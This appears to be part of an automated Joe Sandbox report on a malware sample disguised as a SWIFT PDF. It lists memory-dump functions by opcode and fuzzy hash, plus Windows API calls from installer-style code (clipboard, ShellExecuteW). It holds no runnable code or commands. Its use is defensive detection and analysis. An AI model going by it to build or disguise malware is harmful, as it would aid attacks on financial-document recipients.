Function 38FB4820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e12b6668be81e4ee302c33c070a959a289b737e318f4ec43ccc0f851da66fe4
Instruction ID: eb7cf4fbe36d18a0e56ef428ca90fdd30b7abb490d9418c32701ef7bbbd9d8fb
Opcode Fuzzy Hash: 5e12b6668be81e4ee302c33c070a959a289b737e318f4ec43ccc0f851da66fe4
Instruction Fuzzy Hash: B6C1BF75E00218CFDB15DFA5CA84B9DBBB2AF89300F6081A9D409BB364DB359E85CF50

Function 38FB2108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cacfa98bb11aeb8fed889021da87a2c1355ea771065ddc47069bdc8e26b0d2
Instruction ID: aaccbdd3b3e87db9cd62362749bb3b812c52bb621cdb0a49bf1d4a94563f9578
Opcode Fuzzy Hash: a0cacfa98bb11aeb8fed889021da87a2c1355ea771065ddc47069bdc8e26b0d2
Instruction Fuzzy Hash: BAC1BF74E00218CFDB15DFA5C994B9DBBB2AF89300F6085A9D409BB364DB359E86CF50

Function 38FB5AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78e28c98a374cb204aa94b28429a7b6d774a14bf2a3b3d49e31a56be60d185f
Instruction ID: f3d16fd4a5ab1c7b7ff06f583b8575e3eb45d70a45d531108c65a45e22132047
Opcode Fuzzy Hash: d78e28c98a374cb204aa94b28429a7b6d774a14bf2a3b3d49e31a56be60d185f
Instruction Fuzzy Hash: 0EC1BF74E01218CFDB15DFA5C994B9DBBB2AF89300F6085A9D408BB364DB359E85CF50

Function 38FB3268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa46d6cb706224814aa580c12ac02c5d780c10a6776f06cbe828086dea6dbd00
Instruction ID: bd2f41f66529f6bcc3674a79be3687f3356c090b909634d70b869ac4c55b7182
Opcode Fuzzy Hash: fa46d6cb706224814aa580c12ac02c5d780c10a6776f06cbe828086dea6dbd00
Instruction Fuzzy Hash: D2C1BE78E00218CFDB15DFA5C994B9DBBB2AF89300F6085A9D408BB364DB359E85CF10

Function 38FB5208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a26a6b8feb41f0f86fe4b27010ab6d6bb414d131effbdfb4eb11c52aa64a6793
Instruction ID: e073facdb3ed0491f627a9c11c50a2cd51d1dfc417bd6e04ad45ffb2b583026e
Opcode Fuzzy Hash: a26a6b8feb41f0f86fe4b27010ab6d6bb414d131effbdfb4eb11c52aa64a6793
Instruction Fuzzy Hash: 88C1BF74E01218CFDB15DFA5C994B9DBBB2AF89300F6081A9D409BB364DB359E85CF10

Function 38FB43C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63a06d74015cad49778ac3067a57b56891c72c76387bb25bf57ce3ea7f7869d
Instruction ID: 06aab8996d28691a257361ac55658159b081ffe05d86a48114cb9d76acad35e7
Opcode Fuzzy Hash: f63a06d74015cad49778ac3067a57b56891c72c76387bb25bf57ce3ea7f7869d
Instruction Fuzzy Hash: F9C1AE79E01218CFDB15DFA5C994B9DBBB2AF89300F6085A9D408AB364DB359E85CF10

Function 38FB6368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2c4ec98dd45e1a48e7f20d3c1dcb1cf7c831d39995008b39c7e90cd3d78242
Instruction ID: d79f3beaf2fd66836dc9155bab0d525195aa4771462641651cdbb3e2449d89ef
Opcode Fuzzy Hash: ab2c4ec98dd45e1a48e7f20d3c1dcb1cf7c831d39995008b39c7e90cd3d78242
Instruction Fuzzy Hash: 3EC1BF79E00218CFDB15DFA5C994B9DBBB2AF89300F6085A9D409BB364DB359E85CF10

Function 38FB3B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 956dcd19ca264eb9f2e8b9d02aad73c0ec60724023c3a28e7ce3aa68a0ef98a2
Instruction ID: d7ba93f14a443b77170dcab94c919a51ef7802aee814e2dc9a9f79666dc7c546
Opcode Fuzzy Hash: 956dcd19ca264eb9f2e8b9d02aad73c0ec60724023c3a28e7ce3aa68a0ef98a2
Instruction Fuzzy Hash: 13C1BF74E01218CFDB15DFA9C994B9DBBB2AF89300F6085A9D408BB364DB359E85CF50

Function 38FB74C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67936b50b6102c4fcfcb2bcc524f6dfb51939eb96b18bb2d9124adf6af4bb803
Instruction ID: f8833f06723f83d9b4b1f136f5dd347bbb5583453020507330311e037c423a78
Opcode Fuzzy Hash: 67936b50b6102c4fcfcb2bcc524f6dfb51939eb96b18bb2d9124adf6af4bb803
Instruction Fuzzy Hash: B1C1BE78E01218CFDB15DFA5C984B9DBBB2AF89300F6085A9D409BB364DB359E85CF10

Function 38FB1CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190d0ab374727cfcb0ed13f0ce088f4bea83f1fd6a295a998afaae9eefa1f52e
Instruction ID: 4d6290965972e0fe5a5140a20b24cdd60a8250f79306a6c3f191697ce9e943b5
Opcode Fuzzy Hash: 190d0ab374727cfcb0ed13f0ce088f4bea83f1fd6a295a998afaae9eefa1f52e
Instruction Fuzzy Hash: D9C1B079E00218CFDB15DFA5C984B9DBBB2AF89300F6085A9D409BB364DB359E85CF50

Function 38FB6C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6e2fcd4939cc333e63b7afbba815e1e17ac08f9f555319fcd161fc308087d2
Instruction ID: 64b003eed716941b5dedc5cb6e9bf80a7a82e62fc8b036b79197ea67805d13d4
Opcode Fuzzy Hash: 4e6e2fcd4939cc333e63b7afbba815e1e17ac08f9f555319fcd161fc308087d2
Instruction Fuzzy Hash: E8C1BF75E01218CFDB15DFA5C994B9DBBB2AF89300F6085A9D408BB364DB359E85CF10

Function 38FB1400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112d9fd3c55bee62fa903e91eadbb791f9309b177592540dcef5129c2c9966ca
Instruction ID: 20259d9db976b26ab1d170aab6eeb3fb8ab25df039d2e31f919fb35a1665d840
Opcode Fuzzy Hash: 112d9fd3c55bee62fa903e91eadbb791f9309b177592540dcef5129c2c9966ca
Instruction Fuzzy Hash: 79C1BE79E01218CFDB15DFA5C984B9DBBB2AF89300F6081A9D409BB364DB359E85CF50

Function 38FB4DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 797cecfe87bf59fb8c1960491a254c13297607410279928885f507fa1d6dd381
Instruction ID: 5e3eee6886f28e114293afa3d75e9c219afd5bdf427d3bc0aba2d0a0cf51ef9a
Opcode Fuzzy Hash: 797cecfe87bf59fb8c1960491a254c13297607410279928885f507fa1d6dd381
Instruction Fuzzy Hash: 5CC1BE78E01218CFDB15DFA5C984B9DBBB2AF89300F6081A9D409BB364DB359E85CF50

Function 38FB2560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b98ef8417c8735e66ec87354c0069a5f537c6d22579eb62c1549dfbf05dcaa8
Instruction ID: 7ac0fbfe36c3f40f55455aab18eece08593fb9237bdd42a1b96cd1fb0e5376f5
Opcode Fuzzy Hash: 8b98ef8417c8735e66ec87354c0069a5f537c6d22579eb62c1549dfbf05dcaa8
Instruction Fuzzy Hash: 5DC1BF74E01218CFDB15DFA5C994B9DBBB2AF89300F6085A9D408BB364DB359E86CF50

Function 38FB36C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256cec6a844d41b57b9fab4566f65386ce504dac924a9d4ae2afd34096ce313a
Instruction ID: 9918c69b547411b0e93811560ac1317bcbad082437984d08aef0349688a3e715
Opcode Fuzzy Hash: 256cec6a844d41b57b9fab4566f65386ce504dac924a9d4ae2afd34096ce313a
Instruction Fuzzy Hash: 30C1BE79E01218CFDB15DFA5C984B9DBBB2AF89300F6085A9D409BB364DB359E85CF10

Function 38FB2E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0384bdcd6361489b1d90ab98d72fb22eb334883ea7c6b44ca5e82728d7e6b6
Instruction ID: f747c33ed86df85d7892142e9544a96618fcc6b0374e07ddc5d56cd3b1263521
Opcode Fuzzy Hash: 1d0384bdcd6361489b1d90ab98d72fb22eb334883ea7c6b44ca5e82728d7e6b6
Instruction Fuzzy Hash: A2C1B074E00218CFDB15DFA5C984B9DBBB2AF89300F6081A9D409BB364DB359E85CF50

Function 38FB67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cf8881218c82889d7c00ad18a7606e5ef4a886c47c1836536809a324a819e4
Instruction ID: ab1a01cb9ae3ff5540dbc4de31d4da8410eaf78e8c7a6aa96d6912a0f6d15ef1
Opcode Fuzzy Hash: 53cf8881218c82889d7c00ad18a7606e5ef4a886c47c1836536809a324a819e4
Instruction Fuzzy Hash: 07C1BF75E01218CFDB15DFA5C984B9DBBB2BF89300F6085A9D408BB364DB399A85CF10

Function 38FB0FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff0dbc653e4d90a83844b3089491869434d5a7c7fe3fb7c5c9015a3c98d3a365
Instruction ID: aeb9cadbc65482566aed01f1bb5dea0596fb25817f62cd603d867581e30389af
Opcode Fuzzy Hash: ff0dbc653e4d90a83844b3089491869434d5a7c7fe3fb7c5c9015a3c98d3a365
Instruction Fuzzy Hash: 63C1AE78E00218CFDB15DFA5C994B9DBBB2BF89300F6085A9D409BB364DB359A85CF10

Function 38FB3F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78f130116c4b0704fb44119f203c2b8f0e1eefa954de78d9014ff5a2d8ef899
Instruction ID: 6f7fa18c6bc9b1fef298710394b77ad8e00d9aeea1a6abb3bd3337f5e6272f96
Opcode Fuzzy Hash: c78f130116c4b0704fb44119f203c2b8f0e1eefa954de78d9014ff5a2d8ef899
Instruction Fuzzy Hash: 00C1AE79E01218CFDB15DFA5C984B9DBBB2AF89300F6081A9D409BB364DB359A85CF50

Function 38FB5F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d91f2a902fe8010c46681da498e5b383f9c44d3b1e7dd5f7d4e05b2603935069
Instruction ID: b354cdbca93f032e3e094eebd5f7b4bea9b063b089549374019d7b41b8fa88dd
Opcode Fuzzy Hash: d91f2a902fe8010c46681da498e5b383f9c44d3b1e7dd5f7d4e05b2603935069
Instruction Fuzzy Hash: D0C1BF74E00218CFDB15DFA5C984B9DBBB2AF89300F6081A9D408BB364DB359E85CF10

Function 3841C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c8fe9b06e71a8bffb2a22f9c5a6b3b18814fa28379963f22ff74a218e1decc0
Instruction ID: e6a886be71c11f94b188a21a3ffc7ba1c723de19e5335355ed4af4b55589947f
Opcode Fuzzy Hash: 6c8fe9b06e71a8bffb2a22f9c5a6b3b18814fa28379963f22ff74a218e1decc0
Instruction Fuzzy Hash: B5C1AF74E01218CFDB14DFA5C995B9DBBB2AF89300F6081A9D409BB364DB359E86CF50

Function 3841F05A Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2573149c5585ba0c57b6a62c568f283b8bb8e0c12e6ab4d9064f37323fe13fd
Instruction ID: 1dc9fb1f29b4f7c181ff955dd530bbfacc62af3e045c4df6e10b0b594f13e0e2
Opcode Fuzzy Hash: d2573149c5585ba0c57b6a62c568f283b8bb8e0c12e6ab4d9064f37323fe13fd
Instruction Fuzzy Hash: 54C19074E01218CFDB54DFA5C994B9DBBB2AF89300F6081A9D409BB365DB359E86CF10

Function 3841BDA2 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6cdc85fba2545ad9ce9b00805244a04114a52c8a07f987462d5ebd17d4a432
Instruction ID: 8476a151bb86be8868560c088b94c8d9bc0bb71267a7a8d0c2c81566a51640b3
Opcode Fuzzy Hash: 8d6cdc85fba2545ad9ce9b00805244a04114a52c8a07f987462d5ebd17d4a432
Instruction Fuzzy Hash: F6C1AE75E01218CFDB54DFA5C994B9DBBB2AF89300F6081A9D409BB364DB359E86CF10

Function 3841E790 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142d215bd7637aac9c5d9085c8df4b18778872c61c6d99d043141ee36a9fb762
Instruction ID: ccec5006444ae4c375f749e173bdc67a17b4d6b38f2df5e543e3f05a87c908d9
Opcode Fuzzy Hash: 142d215bd7637aac9c5d9085c8df4b18778872c61c6d99d043141ee36a9fb762
Instruction Fuzzy Hash: C4C1A078E00218CFDB54DFA4C994B9DBBB2AF89304F6081A9D409BB765DB359E85CF10

Function 3841E339 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4919fe82b64ba5779d2c56cdf3c83654e4ea4aca08fb57d0853f0fedf7c81805
Instruction ID: 383307c91be1d7de3f34a8a78ed4845bb82ffbd836903943705de902daa23f58
Opcode Fuzzy Hash: 4919fe82b64ba5779d2c56cdf3c83654e4ea4aca08fb57d0853f0fedf7c81805
Instruction Fuzzy Hash: D3C1A078E01218CFDB54DFA4C994B9DBBB2AF89300F6081A9D409BB765DB359E85CF10

Function 38FBCBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e26f1388c44bf01ffb26372023652ca731648e44646a4cb9926b97f23a273a
Instruction ID: 3c2e2b9d8be25f72b30601699194360121ae0b30a15b4fcc9f8cd8a5c20d44c5
Opcode Fuzzy Hash: 99e26f1388c44bf01ffb26372023652ca731648e44646a4cb9926b97f23a273a
Instruction Fuzzy Hash: 14D09E79D5421C8ACF11DF54DC442EDF770FBA9310F0124A9804CA7510D7709E94CA55

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
-B@, xrefs: 004044C2
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
